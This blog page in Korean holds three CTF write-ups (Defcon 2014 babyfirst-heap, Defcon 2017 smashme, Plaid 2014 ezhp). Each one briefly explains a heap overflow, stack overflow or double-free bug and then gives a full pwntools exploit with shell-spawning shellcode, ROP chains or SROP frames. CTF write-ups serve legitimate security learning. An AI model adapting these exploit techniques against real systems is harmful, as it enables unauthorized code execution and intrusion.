NX와 aslr만 되어있다.

문제 이름만 놓고 본다면 쉬울것 같으나 데프콘 문제여서 쫄은 상태로 풀기 시작했다.


힙문제는 아직 너무 어려워서 쉬운 문제를 찾다가 풀게 되었는데.. 푸는데 꽤 오래 걸렸다.

근데 풀고 나니 많이 쉬웠던 문제인것 같다.


ida와 gdb로 보면 커스텀 malloc과 free를 사용한다는 것을 알 수 있다.


이 문제는 우선 힙주소를 전부 출력을 해주기 때문에 따로 릭을 할 필요는 없었다.

그리고 사용자에게 입력받는 수는 4096바이트로 꽤나 많은 양의 바이트를 입력받는다.


먼저 내가 입력한 값이 어디에 들어가는지 확인을 해보았다.

memcpy에 bp를 걸고 확인을 해보았더니 size=260인 청크에 들어가게 된다.


다시말해 이 부분을 통해 오버플로우로 다음 청크를 덮어서 fake chunk를 만들면 got overwrite로 문제를 풀 수 있다.


exploit code

from pwn import *

r = process("./babyfirst-heap")
elf = ELF("./babyfirst-heap")

r.recvuntil("[size=755]")
r.recvuntil("loc=")

chunk = "0x"+ r.recv(7)
chunk = int(chunk,16)

log.info("chunk addr = {}".format(hex(chunk)))

puts_got = elf.got['puts']
jmp_code = "\xeb\x0c"
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"

payload = p32(puts_got-8)
payload += p32(chunk+0x24)
payload += "\x90"*30
payload += jmp_code
payload += "\x90"*191
payload += shellcode
payload += p32(0)
payload += p32(0x378)
payload += p32(0)*65
payload += p32(0x1000)

r.sendline(payload)
r.interactive()


'CTF' 카테고리의 다른 글

SEC-T CTF PingPong  (0) 2018.09.16
BCTF 2016 bcloud  (0) 2018.08.24
Defcon 2017 smashme  (0) 2018.08.12
Plaid 2014 ezhp  (0) 2018.08.12
CodeGate2017 messenger  (0) 2018.08.07

보호기법은 aslr외엔 없다.

헥스레이해보면 gets로 bof가 터지는 것을 알 수 있다.


그리고 gets한 변수의 첫 부분에 "Smash me outside, how bout dAAAAAAAAAAA" 문자열이 들어가야 한다.

우선 haystack변수의 위치는 rbp-0x40이므로 rbp+0x8까지 72바이트의 차이가 나므로 72바이트 후 오버플로우 하면 ret를 조작할 수 있다.


근데 이 바이너리는 정적 컴파일이 되어 있고 system, execve함수와 같이 쉘을 실행시킬 수 있는 함수가 없다.


따라서 syscall을 해서 문제를 풀었다.


srop 페이로드는 잘 정리된 문서에 pwntool을 이용하여 간단하게 작성하는 법이 적혀있어서 참고했다.

문서
from pwn import *

r = process("./smashme")
elf = ELF("./smashme")

read = elf.symbols['read']
write = elf.symbols['write']
bss = elf.bss()
pop_rax = 0x4c3b28
pop_rdi = 0x4014d6
pop_rsi = 0x4015f7 
pop_rdx = 0x441e46
pop_rcx = 0x490db3
cmd = "/bin/sh\x00"
syscall = 0x466815 

log.info("bss = {}".format(hex(bss)))

payload = "Smash me outside, how bout dAAAAAAAAAAA"
payload += "A"*33

payload += p64(pop_rdi)
payload += p64(1)
payload += p64(pop_rsi)
payload += p64(bss)
payload += p64(pop_rdx)
payload += p64(4)
payload += p64(write)

payload += p64(pop_rdi)
payload += p64(0)
payload += p64(pop_rsi)
payload += p64(bss)
payload += p64(pop_rdx)
payload += p64(len(cmd))
payload += p64(read)

payload += p64(pop_rdi)
payload += p64(1)
payload += p64(pop_rsi)
payload += p64(bss)
payload += p64(pop_rdx)
payload += p64(len(cmd))
payload += p64(write)

payload += p64(pop_rax)
payload += p64(0xf)
payload += p64(syscall)

frame = SigreturnFrame(arch="amd64")
frame.rax = 0x3b
frame.rdi = bss 
frame.rsp = syscall
frame.rip = syscall

payload += str(frame)

print r.recv()
r.sendline(payload)
print r.recv()
r.sendline(cmd)
print r.recv()
r.interactive()

Ref.https://www.lazenca.net/display/TEC/02.SROP%28Sigreturn-oriented+programming%29+-+x64

'CTF' 카테고리의 다른 글

BCTF 2016 bcloud  (0) 2018.08.24
Defcon 2014 Babyfirst heap  (0) 2018.08.16
Plaid 2014 ezhp  (0) 2018.08.12
CodeGate2017 messenger  (0) 2018.08.07
RCTF 2015 welpwn  (0) 2018.08.01

double free bug문제


보호기법은 아무것도 없다. 쉘코드를 올려서 풀어도 되겠다.


커스텀 add와 커스텀 free이므로 해당 조건에 맞는 상태로 fake chunk를 만들었다.

next chunk를 puts@got-8로 해주었고 이전 청크를 쉘코드가 있는 주소로 넣어주었다.

쉘코드의 맨 앞에는 jump code를 삽입해서 이전 청크가 next chunk의 앞부분에 삽입할 때 익스할 코드로 점프시키도록 했다.


1. 1번메뉴 선택, 사이즈 =10

2. 1번메뉴 선택, 사이즈 = 10

3. 1번메뉴 선택, 사이즈 = 100

4. 3번메뉴 선택, [1]번째 청크에 릭 페이로드 입력, 사이즈 = 20 

5. 4번메뉴 선택, [3]번째 청크 주소 릭 성공

4. 3번메뉴 선택, [2]번째 청크에 쉘코드 입력, 사이즈=100

5. 3번메뉴 선택, [0]번째 청크에 페이로드 입력, 사이즈=30

6. 2번메뉴 선택, [1]번째 청크 free 하여 exploit



exploit code

from pwn import *

def add(size):
	r.recvuntil("Please choose an option.\n")	
	r.sendline("1")
	r.recvuntil("Please give me a size.\n")
	r.sendline(str(size))

def change(id, size, data):
	r.sendline("3")
	r.sendline(str(id))
	r.sendline(str(size))
	r.sendline(data)

def leak_chunk(id):
	r.sendline("4")
	r.sendline(str(id))
	r.recvuntil("AAAAAAAAAAAAAAA\n")
	leaked_chunk = u32(r.recv()[:4])
	return leaked_chunk

def remove(id):
	r.sendline("2")
	r.sendline(str(id))

if __name__ == "__main__":
	shellcode = "\xeb\x0c"
	shellcode += "\x90"*30
	shellcode += "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"

	r = process("./ezhp")
	elf = ELF("./ezhp")
	
	puts_got = elf.got['puts']

	add(10)
	add(10)
	add(100)

	payload = "A"*15 
	change(1, 20, payload)

	third_chunk = leak_chunk(1)
	shell_address = third_chunk - 0x6c 
	log.info("shellcode address = {}".format(hex(shell_address)))
	change(2, 100, shellcode)

	payload = "A"*12
	payload += p32(0xffffffff)
	payload += p32(puts_got - 8)
	payload += p32(shell_address)

	change(0, 30, payload)
	remove(1)

	r.interactive()


'CTF' 카테고리의 다른 글

Defcon 2014 Babyfirst heap  (0) 2018.08.16
Defcon 2017 smashme  (0) 2018.08.12
CodeGate2017 messenger  (0) 2018.08.07
RCTF 2015 welpwn  (0) 2018.08.01
EasyCTF2017 Simple ROP  (0) 2018.08.01

+ Recent posts